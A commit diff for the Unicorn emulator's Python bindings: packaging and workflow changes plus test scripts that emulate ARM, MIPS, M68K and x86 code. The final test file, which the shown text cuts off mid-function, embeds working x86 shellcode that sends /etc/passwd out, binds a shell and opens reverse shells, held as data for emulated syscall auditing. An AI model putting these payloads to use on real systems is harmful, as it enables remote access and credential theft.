Python binding setup refactoring + cibuildwheel workflow (#2026)

* Python bindings: Make the test scripts handy for pytest

* Python bindings: Update MANIFEST.in with new paths

* Update .gitignore to exclude PyCharm-related files/folders

* Python bindings: Update CMakeLists.txt in order to set CMAKE_OSX_ARCHITECTURES var

* Python bindings:
- Moved project package settings to the new TOML format
- Refactored setup.py to cleanup/improve the code and make it ready for cibuildwheel
- Updated README.md with the package long description part
- Removed setup.cfg since universal wheel building will be deprecated soon

* Python bindings:
- Replaced old PyPI-publishing.yml workflow with brand-new one based on cibuildwheel
- Removed old building scripts

* Replaced macos-12 runner with macos-13 since it will be removed soon

* Python bindings: Specify SYSTEM_VERSION_COMPAT=0 env var for macos-13 x86_64 runner as per cibuildwheel warning message

* Python bindings: Enable i686 for debugging

* Python bindings: Enable DEBUG flag according to the presence of tag release

* Python bindings: Added matrix to cover i686 manylinux/musllinux builds

* Python bindings:
- Replaced macos-14 runner with macos-latest
- Bumped cibuildwheel GitHub action to 2.21.3 version

* Python bindings:
- Adapt test_uc_ctl_tb_cache test to the recent changes
- Fixed typos
- PEP8 fixes

* GitHub Action Workflow: Introduce BUILD_TYPE env var to select build type according to the presence of tag release

---------

Co-authored-by: mio <mio@lazym.io>
This commit is contained in:
@Antelox
2024-10-17 13:35:42 +02:00
committed by GitHub
parent c42cc0fe86
commit 6fbbf3089a
28 changed files with 1192 additions and 1051 deletions

127
bindings/python/tests/test_arm.py Executable file
View File

@@ -0,0 +1,127 @@
#!/usr/bin/env python
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm_const import *
# code to be emulated
ARM_CODE = b"\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3
THUMB_CODE = b"\x83\xb0" # sub sp, #0xc
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test ARM
def test_arm():
print("Emulate ARM code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM_CODE)
# initialize machine registers
mu.reg_write(UC_ARM_REG_R0, 0x1234)
mu.reg_write(UC_ARM_REG_R2, 0x6789)
mu.reg_write(UC_ARM_REG_R3, 0x3333)
mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) # All application flags turned on
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing one instruction at ADDRESS with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r0 = mu.reg_read(UC_ARM_REG_R0)
r1 = mu.reg_read(UC_ARM_REG_R1)
print(">>> R0 = 0x%x" % r0)
print(">>> R1 = 0x%x" % r1)
except UcError as e:
print("ERROR: %s" % e)
def test_thumb():
print("Emulate THUMB code")
try:
# Initialize emulator in thumb mode
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, THUMB_CODE)
# initialize machine registers
mu.reg_write(UC_ARM_REG_SP, 0x1234)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
# Note we start at ADDRESS | 1 to indicate THUMB mode.
mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
sp = mu.reg_read(UC_ARM_REG_SP)
print(">>> SP = 0x%x" % sp)
except UcError as e:
print("ERROR: %s" % e)
def test_read_sctlr():
print("Read SCTLR")
try:
# Initialize emulator in thumb mode
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
# Read SCTLR
# cp = 15
# is64 = 0
# sec = 0
# crn = 1
# crm = 0
# opc1 = 0
# opc2 = 0
val = mu.reg_read(UC_ARM_REG_CP_REG, (15, 0, 0, 1, 0, 0, 0))
print(">>> SCTLR = 0x%x" % val)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm()
print("=" * 26)
test_thumb()
print("=" * 26)
test_read_sctlr()

View File

@@ -0,0 +1,125 @@
#!/usr/bin/env python
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm64_const import *
# code to be emulated
ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13]
# MSR code
ARM64_MRS_CODE = b"\x62\xd0\x3b\xd5" # mrs x2, tpidrro_el0
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test ARM64
def test_arm64():
print("Emulate ARM64 code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM64_CODE)
# initialize machine registers
mu.reg_write(UC_ARM64_REG_X11, 0x12345678)
mu.reg_write(UC_ARM64_REG_X13, 0x10008)
mu.reg_write(UC_ARM64_REG_X15, 0x33)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing one instruction with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
print(">>> As little endian, X15 should be 0x78:")
x11 = mu.reg_read(UC_ARM64_REG_X11)
x13 = mu.reg_read(UC_ARM64_REG_X13)
x15 = mu.reg_read(UC_ARM64_REG_X15)
print(">>> X15 = 0x%x" % x15)
except UcError as e:
print("ERROR: %s" % e)
def test_arm64_read_sctlr():
print("Read SCTLR_EL1")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
# Read SCTLR_EL1
# crn = 1;
# crm = 0;
# op0 = 3;
# op1 = 0;
# op2 = 0;
val = mu.reg_read(UC_ARM64_REG_CP_REG, (1, 0, 3, 0, 0))
print(">>> SCTLR_EL1 = 0x%x" % val)
except UcError as e:
print("ERROR: %s" % e)
def test_arm64_hook_mrs():
def _hook_mrs(uc, reg, cp_reg, _):
print(f">>> Hook MRS instruction: reg = 0x{reg:x}(UC_ARM64_REG_X2) cp_reg = {cp_reg}")
uc.reg_write(reg, 0x114514)
print(">>> Write 0x114514 to X")
# Skip MRS instruction
return True
print("Test hook MRS instruction")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
# Map an area for code
mu.mem_map(0x1000, 0x1000)
# Write code
mu.mem_write(0x1000, ARM64_MRS_CODE)
# Hook MRS instruction
mu.hook_add(UC_HOOK_INSN, _hook_mrs, None, 1, 0, UC_ARM64_INS_MRS)
# Start emulation
mu.emu_start(0x1000, 0x1000 + len(ARM64_MRS_CODE))
print(f">>> X2 = {mu.reg_read(UC_ARM64_REG_X2):x}")
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm64()
print("=" * 26)
test_arm64_read_sctlr()
print("=" * 26)
test_arm64_hook_mrs()

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python
# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
# AARCH64 Python sample ported by zhangwm <rustydaar@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm64_const import *
# code to be emulated
ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13]
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test ARM64
def test_arm64():
print("Emulate ARM64 Big-Endian code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM | UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM64_CODE)
# initialize machine registers
mu.reg_write(UC_ARM64_REG_X11, 0x12345678)
mu.reg_write(UC_ARM64_REG_X13, 0x10008)
mu.reg_write(UC_ARM64_REG_X15, 0x33)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
print(">>> As big endian, X15 should be 0x12:")
x11 = mu.reg_read(UC_ARM64_REG_X11)
x13 = mu.reg_read(UC_ARM64_REG_X13)
x15 = mu.reg_read(UC_ARM64_REG_X15)
print(">>> X15 = 0x%x" % x15)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm64()

View File

@@ -0,0 +1,103 @@
#!/usr/bin/env python
# Sample code for ARM big endian of Unicorn. zhangwm <rustydaar@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.arm_const import *
# code to be emulated
ARM_CODE = b"\xe3\xa0\x00\x37\xe0\x42\x10\x03" # mov r0, #0x37; sub r1, r2, r3
THUMB_CODE = b"\xb0\x83" # sub sp, #0xc
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test ARM
def test_arm():
print("Emulate ARM Big-Endian code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, ARM_CODE)
# initialize machine registers
mu.reg_write(UC_ARM_REG_R0, 0x1234)
mu.reg_write(UC_ARM_REG_R2, 0x6789)
mu.reg_write(UC_ARM_REG_R3, 0x3333)
mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) # All application flags turned on
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing one instruction at ADDRESS with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r0 = mu.reg_read(UC_ARM_REG_R0)
r1 = mu.reg_read(UC_ARM_REG_R1)
print(">>> R0 = 0x%x" % r0)
print(">>> R1 = 0x%x" % r1)
except UcError as e:
print("ERROR: %s" % e)
def test_thumb():
print("Emulate THUMB code")
try:
# Initialize emulator in thumb mode
mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB | UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, THUMB_CODE)
# initialize machine registers
mu.reg_write(UC_ARM_REG_SP, 0x1234)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
# Note we start at ADDRESS | 1 to indicate THUMB mode.
mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
sp = mu.reg_read(UC_ARM_REG_SP)
print(">>> SP = 0x%x" % sp)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_arm()
print("=" * 26)
test_thumb()

129
bindings/python/tests/test_ctl.py Executable file
View File

@@ -0,0 +1,129 @@
#!/usr/bin/env python
# Sample code for Unicorn.
# By Lazymio(@wtdcode), 2021
from unicorn import *
from unicorn.x86_const import *
from datetime import datetime
def test_uc_ctl_read():
uc = Uc(UC_ARCH_X86, UC_MODE_32)
print("Reading some properties by uc_ctl.")
arch = uc.ctl_get_arch()
mode = uc.ctl_get_mode()
page_size = uc.ctl_get_page_size()
timeout = uc.ctl_get_timeout()
print(f">>> arch={arch} mode={mode} page size={page_size} timeout={timeout}")
def time_emulation(uc, start, end):
n = datetime.now()
uc.emu_start(start, end)
return (datetime.now() - n).total_seconds() * 1e6
def test_uc_ctl_tb_cache():
# Initialize emulator in X86-32bit mode
uc = Uc(UC_ARCH_X86, UC_MODE_32)
addr = 0x10000
# Fill the code buffer with NOP.
code = b"\x90" * 8 * 512
print("Controlling the TB cache in a finer granularity by uc_ctl.")
uc.mem_map(addr, 0x10000)
# Write our code to the memory.
uc.mem_write(addr, code)
# Do emulation without any cache.
standard = time_emulation(uc, addr, addr + len(code))
# Now we request cache for all TBs.
for i in range(8):
tb = uc.ctl_request_cache(addr + i * 512)
print(f">>> TB is cached at {hex(tb[0])} which has {tb[1]} instructions with {tb[2]} bytes")
# Do emulation with all TB cached.
cached = time_emulation(uc, addr, addr + len(code))
# Now we clear cache for all TBs.
for i in range(8):
uc.ctl_remove_cache(addr + i * 512, addr + i * 512 + 1)
evicted = time_emulation(uc, addr, addr + len(code))
print(f">>> Run time: First time {standard}, Cached: {cached}, Cached evicted: {evicted}")
def trace_new_edge(uc, cur, prev, data):
print(f">>> Getting a new edge from {hex(prev.pc + prev.size - 1)} to {hex(cur.pc)}")
def trace_tcg_sub(uc, address, arg1, arg2, size, data):
print(f">>> Get a tcg sub opcode at {hex(address)} with args: {arg1} and {arg2}")
def test_uc_ctl_exits():
uc = Uc(UC_ARCH_X86, UC_MODE_32)
addr = 0x1000
# cmp eax, 0;
# jg lb;
# inc eax;
# nop;
# lb:
# inc ebx;
# nop;
code = b"\x83\xf8\x00\x7f\x02\x40\x90\x43\x90"
exits = [addr + 6, addr + 8]
print("Using multiple exits by uc_ctl")
uc.mem_map(addr, 0x1000)
# Write our code to the memory.
uc.mem_write(addr, code)
# We trace if any new edge is generated.
uc.hook_add(UC_HOOK_EDGE_GENERATED, trace_new_edge)
# Trace cmp instruction.
uc.hook_add(UC_HOOK_TCG_OPCODE, trace_tcg_sub, aux1=UC_TCG_OP_SUB, aux2=UC_TCG_OP_FLAG_CMP)
uc.ctl_exits_enabled(True)
uc.ctl_set_exits(exits)
# This should stop at ADDRESS + 6 and increase eax, even though we don't provide an exit.
uc.emu_start(addr, 0)
eax = uc.reg_read(UC_X86_REG_EAX)
ebx = uc.reg_read(UC_X86_REG_EBX)
print(f">>> eax = {hex(eax)} and ebx = {hex(ebx)} after the first emulation")
# This should stop at ADDRESS + 8, even though we don't provide an exit.
uc.emu_start(addr, 0)
eax = uc.reg_read(UC_X86_REG_EAX)
ebx = uc.reg_read(UC_X86_REG_EBX)
print(f">>> eax = {hex(eax)} and ebx = {hex(ebx)} after the first emulation")
if __name__ == "__main__":
test_uc_ctl_read()
print("=" * 32)
test_uc_ctl_tb_cache()
print("=" * 32)
test_uc_ctl_exits()

View File

@@ -0,0 +1,87 @@
#!/usr/bin/env python
# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.m68k_const import *
# code to be emulated
M68K_CODE = b"\x76\xed" # movq #-19, %d3
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test ARM
def test_m68k():
print("Emulate M68K code")
try:
# Initialize emulator in ARM mode
mu = Uc(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, M68K_CODE)
# initialize machine registers
mu.reg_write(UC_M68K_REG_D3, 0x1234)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(M68K_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
a0 = mu.reg_read(UC_M68K_REG_A0)
a1 = mu.reg_read(UC_M68K_REG_A1)
a2 = mu.reg_read(UC_M68K_REG_A2)
a3 = mu.reg_read(UC_M68K_REG_A3)
a4 = mu.reg_read(UC_M68K_REG_A4)
a5 = mu.reg_read(UC_M68K_REG_A5)
a6 = mu.reg_read(UC_M68K_REG_A6)
a7 = mu.reg_read(UC_M68K_REG_A7)
d0 = mu.reg_read(UC_M68K_REG_D0)
d1 = mu.reg_read(UC_M68K_REG_D1)
d2 = mu.reg_read(UC_M68K_REG_D2)
d3 = mu.reg_read(UC_M68K_REG_D3)
d4 = mu.reg_read(UC_M68K_REG_D4)
d5 = mu.reg_read(UC_M68K_REG_D5)
d6 = mu.reg_read(UC_M68K_REG_D6)
d7 = mu.reg_read(UC_M68K_REG_D7)
pc = mu.reg_read(UC_M68K_REG_PC)
sr = mu.reg_read(UC_M68K_REG_SR)
print(">>> A0 = 0x%x\t\t>>> D0 = 0x%x" % (a0, d0))
print(">>> A1 = 0x%x\t\t>>> D1 = 0x%x" % (a1, d1))
print(">>> A2 = 0x%x\t\t>>> D2 = 0x%x" % (a2, d2))
print(">>> A3 = 0x%x\t\t>>> D3 = 0x%x" % (a3, d3))
print(">>> A4 = 0x%x\t\t>>> D4 = 0x%x" % (a4, d4))
print(">>> A5 = 0x%x\t\t>>> D5 = 0x%x" % (a5, d5))
print(">>> A6 = 0x%x\t\t>>> D6 = 0x%x" % (a6, d6))
print(">>> A7 = 0x%x\t\t>>> D7 = 0x%x" % (a7, d7))
print(">>> PC = 0x%x" % pc)
print(">>> SR = 0x%x" % sr)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_m68k()

View File

@@ -0,0 +1,100 @@
#!/usr/bin/env python
# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.mips_const import *
# code to be emulated
MIPS_CODE_EB = b"\x34\x21\x34\x56" # ori $at, $at, 0x3456;
MIPS_CODE_EL = b"\x56\x34\x21\x34" # ori $at, $at, 0x3456;
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test MIPS EB
def test_mips_eb():
print("Emulate MIPS code (big-endian)")
try:
# Initialize emulator in MIPS32 + EB mode
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, MIPS_CODE_EB)
# initialize machine registers
mu.reg_write(UC_MIPS_REG_1, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EB))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r1 = mu.reg_read(UC_MIPS_REG_1)
print(">>> R1 = 0x%x" % r1)
except UcError as e:
print("ERROR: %s" % e)
# Test MIPS EL
def test_mips_el():
print("Emulate MIPS code (little-endian)")
try:
# Initialize emulator in MIPS32 + EL mode
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, MIPS_CODE_EL)
# initialize machine registers
mu.reg_write(UC_MIPS_REG_1, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EL))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r1 = mu.reg_read(UC_MIPS_REG_1)
print(">>> R1 = 0x%x" % r1)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_mips_eb()
print("=" * 27)
test_mips_el()

View File

@@ -0,0 +1,410 @@
#!/usr/bin/env python
# Unicorn sample for auditing network connection and file handling in shellcode.
# Nguyen Tan Cong <shenlongbk@gmail.com>
from __future__ import print_function
import pytest
import struct
import uuid
from unicorn import *
from unicorn.x86_const import *
SIZE_REG = 4
SOCKETCALL_MAX_ARGS = 3
SOCKET_TYPES = {
1: "SOCK_STREAM",
2: "SOCK_DGRAM",
3: "SOCK_RAW",
4: "SOCK_RDM",
5: "SOCK_SEQPACKET",
10: "SOCK_PACKET"
}
ADDR_FAMILY = {
0: "AF_UNSPEC",
1: "AF_UNIX",
2: "AF_INET",
3: "AF_AX25",
4: "AF_IPX",
5: "AF_APPLETALK",
6: "AF_NETROM",
7: "AF_BRIDGE",
8: "AF_AAL5",
9: "AF_X25",
10: "AF_INET6",
12: "AF_MAX"
}
# http://shell-storm.org/shellcode/files/shellcode-861.php
X86_SEND_ETCPASSWD = b"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
# http://shell-storm.org/shellcode/files/shellcode-882.php
X86_BIND_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
# http://shell-storm.org/shellcode/files/shellcode-883.php
X86_REVERSE_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# http://shell-storm.org/shellcode/files/shellcode-849.php
X86_REVERSE_TCP_2 = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
# memory address where emulation starts
ADDRESS = 0x1000000
# supported classes
class IdGenerator:
def __init__(self):
self.__next_id = 3 # exclude sdtin, stdout, stderr
def next(self):
next_id = self.__next_id
self.__next_id += 1
return next_id
class LogChain:
def __init__(self):
self.__chains = {}
self.__linking_fds = {}
def clean(self):
self.__chains = {}
self.__linking_fds = {}
def create_chain(self, my_id):
if not my_id in self.__chains:
self.__chains[my_id] = []
else:
print("LogChain: id %d existed" % my_id)
def add_log(self, id, msg):
fd = self.get_original_fd(id)
if fd is not None:
self.__chains[fd].append(msg)
else:
print("LogChain: id %d doesn't exist" % id)
def link_fd(self, from_fd, to_fd):
if not to_fd in self.__linking_fds:
self.__linking_fds[to_fd] = []
self.__linking_fds[to_fd].append(from_fd)
def get_original_fd(self, fd):
if fd in self.__chains:
return fd
for orig_fd, links in self.__linking_fds.items():
if fd in links:
return orig_fd
return None
def print_report(self):
print("""
----------------
| START REPORT |
----------------
""")
for my_id, logs in self.__chains.items():
print("---- START FD(%d) ----" % my_id)
print("\n".join(logs))
print("---- END FD(%d) ----" % my_id)
print("""
--------------
| END REPORT |
--------------
""")
# end supported classes
# utilities
def bin_to_ipv4(ip):
return "%d.%d.%d.%d" % (
(ip & 0xff000000) >> 24,
(ip & 0xff0000) >> 16,
(ip & 0xff00) >> 8,
(ip & 0xff))
def read_string(uc, addr):
ret = ""
c = uc.mem_read(addr, 1)[0]
read_bytes = 1
while c != 0x0:
ret += chr(c)
c = uc.mem_read(addr + read_bytes, 1)[0]
read_bytes += 1
return ret
def parse_sock_address(sock_addr):
sin_family, = struct.unpack("<h", sock_addr[:2])
if sin_family == 2: # AF_INET
port, host = struct.unpack(">HI", sock_addr[2:8])
return "%s:%d" % (bin_to_ipv4(host), port)
elif sin_family == 6: # AF_INET6
return ""
def print_sockcall(msg):
print(">>> SOCKCALL %s" % msg)
# end utilities
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# read this instruction code from memory
tmp = uc.mem_read(address, size)
print(">>> Instruction code at [0x%x] =" % (address), end="")
for i in tmp:
print(" %x" % i, end="")
print("")
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
global id_gen
# only handle Linux syscall
if intno != 0x80:
return
eax = uc.reg_read(UC_X86_REG_EAX)
ebx = uc.reg_read(UC_X86_REG_EBX)
ecx = uc.reg_read(UC_X86_REG_ECX)
edx = uc.reg_read(UC_X86_REG_EDX)
eip = uc.reg_read(UC_X86_REG_EIP)
# print(">>> INTERRUPT %d" % eax)
if eax == 1: # sys_exit
print(">>> SYS_EXIT")
uc.emu_stop()
elif eax == 3: # sys_read
fd = ebx
buf = ecx
count = edx
dummy_content = str(uuid.uuid1()).encode("latin1")[:32]
if len(dummy_content) > count:
dummy_content = dummy_content[:count]
uc.mem_write(buf, dummy_content)
msg = "read %d bytes from fd(%d) with dummy_content(%s)" % (count, fd, dummy_content)
fd_chains.add_log(fd, msg)
print(">>> %s" % msg)
elif eax == 4: # sys_write
fd = ebx
buf = ecx
count = edx
content = uc.mem_read(buf, count)
msg = "write data=%s count=%d to fd(%d)" % (content, count, fd)
print(">>> %s" % msg)
fd_chains.add_log(fd, msg)
elif eax == 5: # sys_open
filename_addr = ebx
flags = ecx
mode = edx
filename = read_string(uc, filename_addr)
dummy_fd = id_gen.next()
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (filename, flags, mode, dummy_fd)
fd_chains.create_chain(dummy_fd)
fd_chains.add_log(dummy_fd, msg)
print(">>> %s" % msg)
elif eax == 11: # sys_execv
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
filename = read_string(uc, ebx)
